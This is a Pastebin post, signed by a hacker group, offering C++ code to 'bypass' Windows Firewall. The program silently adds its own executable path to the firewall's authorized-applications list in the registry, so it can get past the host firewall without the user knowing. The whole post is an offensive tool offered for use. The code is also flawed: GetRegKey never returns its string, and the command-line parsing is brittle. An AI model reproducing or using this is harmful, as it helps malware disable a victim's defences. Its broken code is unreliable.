Advertisement
juananon

Bypassing Windows Firewall In C++/MODIFIED

Jan 25th, 2013
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.30 KB | None | 0 0
  1. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  2. =======================================
  3. ^^ HELLO EVERYONE THIS CODE IS FOR ^^
  4. || BYPASSING THE FIRE WALL ||
  5. || CODED BY : JUAN DELA CRUZ ||
  6. || ANONYMOUS PHILIPPINES ||
  7. || TEAM: COD3X & HACK PRO ||
  8. ^^ ^^
  9. =======================================
  10. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  11. ===========================================================================================================
  12. Something I forgot.. not all computers use ControlSet001. Here's a modified version that should work on any computer.
  13.  
  14. The only change is the addition (and use) of the function GetRegKey(), which returns a string containing the appropriate registry key
  15. ============================================================================================================
  16. CODED IN NOTEPAD++
  17.  
  18. #define WIN32_LEAN_AND_MEAN
  19. #include <winsock2.h>
  20. #include <windows.h>
  21. #include <string>
  22. using namespace std;
  23.  
  24. char fwAuthApp[1024];
  25.  
  26. char* GetRegKey()
  27. {
  28. HKEY hk = 0;
  29.  
  30. RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&hk);
  31. int i;
  32. DWORD sz = 4;
  33.  
  34. if (RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i,&sz) == ERROR_SUCCESS)
  35. {
  36. sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);
  37. }
  38. RegCloseKey(hk);
  39. }
  40.  
  41. void AddException(string path)
  42. {
  43. HKEY hk;
  44. DWORD dw;
  45.  
  46. string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
  47.  
  48. RegCreateKeyExA(
  49. HKEY_LOCAL_MACHINE,
  50. GetRegKey(),
  51. 0,
  52. NULL,
  53. REG_OPTION_NON_VOLATILE,
  54. KEY_WRITE,
  55. NULL,
  56. &hk,
  57. &dw
  58. );
  59.  
  60. RegSetValueExA(
  61. hk,
  62. path.c_str(),
  63. 0,
  64. REG_SZ,
  65. (BYTE*)skey.c_str(),
  66. (DWORD)skey.length()
  67. );
  68.  
  69. RegCloseKey(hk);
  70. }
  71.  
  72. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  73. {
  74. char *CmdLineA, *Location;
  75.  
  76. CmdLineA = GetCommandLineA();
  77. Location = CmdLineA + 1;
  78. Location[strlen(Location)-2] = 0;
  79.  
  80. AddException(Location);
  81. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement